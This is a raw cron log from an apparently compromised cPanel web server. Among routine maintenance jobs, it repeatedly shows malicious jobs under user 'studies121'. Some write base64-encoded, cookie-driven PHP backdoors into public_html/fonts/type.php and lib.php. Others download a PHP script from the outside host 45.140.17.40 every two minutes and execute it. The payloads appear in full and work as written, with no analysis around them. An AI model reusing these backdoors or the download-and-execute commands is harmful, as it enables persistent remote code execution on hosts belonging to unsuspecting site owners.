Sep  4 10:10:01 ip-184-168-122-23 CROND[3656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:10:01 ip-184-168-122-23 CROND[3657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:10:01 ip-184-168-122-23 CROND[3655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:10:01 ip-184-168-122-23 CROND[3662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:10:01 ip-184-168-122-23 CROND[3659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:10:01 ip-184-168-122-23 CROND[3660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:10:01 ip-184-168-122-23 CROND[3661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:11:01 ip-184-168-122-23 CROND[3787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:11:01 ip-184-168-122-23 CROND[3789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:11:01 ip-184-168-122-23 CROND[3788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:11:01 ip-184-168-122-23 CROND[3790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:12:01 ip-184-168-122-23 CROND[3925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:12:01 ip-184-168-122-23 CROND[3929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:12:01 ip-184-168-122-23 CROND[3928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:12:01 ip-184-168-122-23 CROND[3930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:12:01 ip-184-168-122-23 CROND[3927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:13:01 ip-184-168-122-23 CROND[4060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:13:01 ip-184-168-122-23 CROND[4061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:13:01 ip-184-168-122-23 CROND[4063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:13:01 ip-184-168-122-23 CROND[4064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:14:01 ip-184-168-122-23 CROND[4259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:14:01 ip-184-168-122-23 CROND[4263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:14:01 ip-184-168-122-23 CROND[4264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:14:01 ip-184-168-122-23 CROND[4265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:14:01 ip-184-168-122-23 CROND[4266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:15:02 ip-184-168-122-23 CROND[4394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:15:02 ip-184-168-122-23 CROND[4401]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 10:15:02 ip-184-168-122-23 CROND[4400]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:15:02 ip-184-168-122-23 CROND[4398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:15:02 ip-184-168-122-23 CROND[4397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:15:02 ip-184-168-122-23 CROND[4399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:15:02 ip-184-168-122-23 CROND[4396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:16:01 ip-184-168-122-23 CROND[4546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:16:01 ip-184-168-122-23 CROND[4548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:16:01 ip-184-168-122-23 CROND[4549]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:16:01 ip-184-168-122-23 CROND[4550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:16:01 ip-184-168-122-23 CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:16:01 ip-184-168-122-23 CROND[4551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:17:02 ip-184-168-122-23 CROND[4663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:17:02 ip-184-168-122-23 CROND[4664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:17:02 ip-184-168-122-23 CROND[4666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:17:02 ip-184-168-122-23 CROND[4667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:18:01 ip-184-168-122-23 CROND[4798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:18:01 ip-184-168-122-23 CROND[4797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:18:01 ip-184-168-122-23 CROND[4799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:18:01 ip-184-168-122-23 CROND[4800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:18:01 ip-184-168-122-23 CROND[4801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:19:01 ip-184-168-122-23 CROND[4926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:19:01 ip-184-168-122-23 CROND[4927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:19:01 ip-184-168-122-23 CROND[4929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:19:01 ip-184-168-122-23 CROND[4928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:20:01 ip-184-168-122-23 CROND[5072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 10:20:01 ip-184-168-122-23 CROND[5068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:20:01 ip-184-168-122-23 CROND[5069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:20:02 ip-184-168-122-23 CROND[5070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:20:02 ip-184-168-122-23 CROND[5071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:20:02 ip-184-168-122-23 CROND[5073]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:20:02 ip-184-168-122-23 CROND[5075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:20:02 ip-184-168-122-23 CROND[5076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:20:02 ip-184-168-122-23 CROND[5074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:21:01 ip-184-168-122-23 CROND[5276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:21:01 ip-184-168-122-23 CROND[5274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 10:21:01 ip-184-168-122-23 CROND[5275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 10:21:01 ip-184-168-122-23 CROND[5277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:22:01 ip-184-168-122-23 CROND[5440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:22:01 ip-184-168-122-23 CROND[5441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
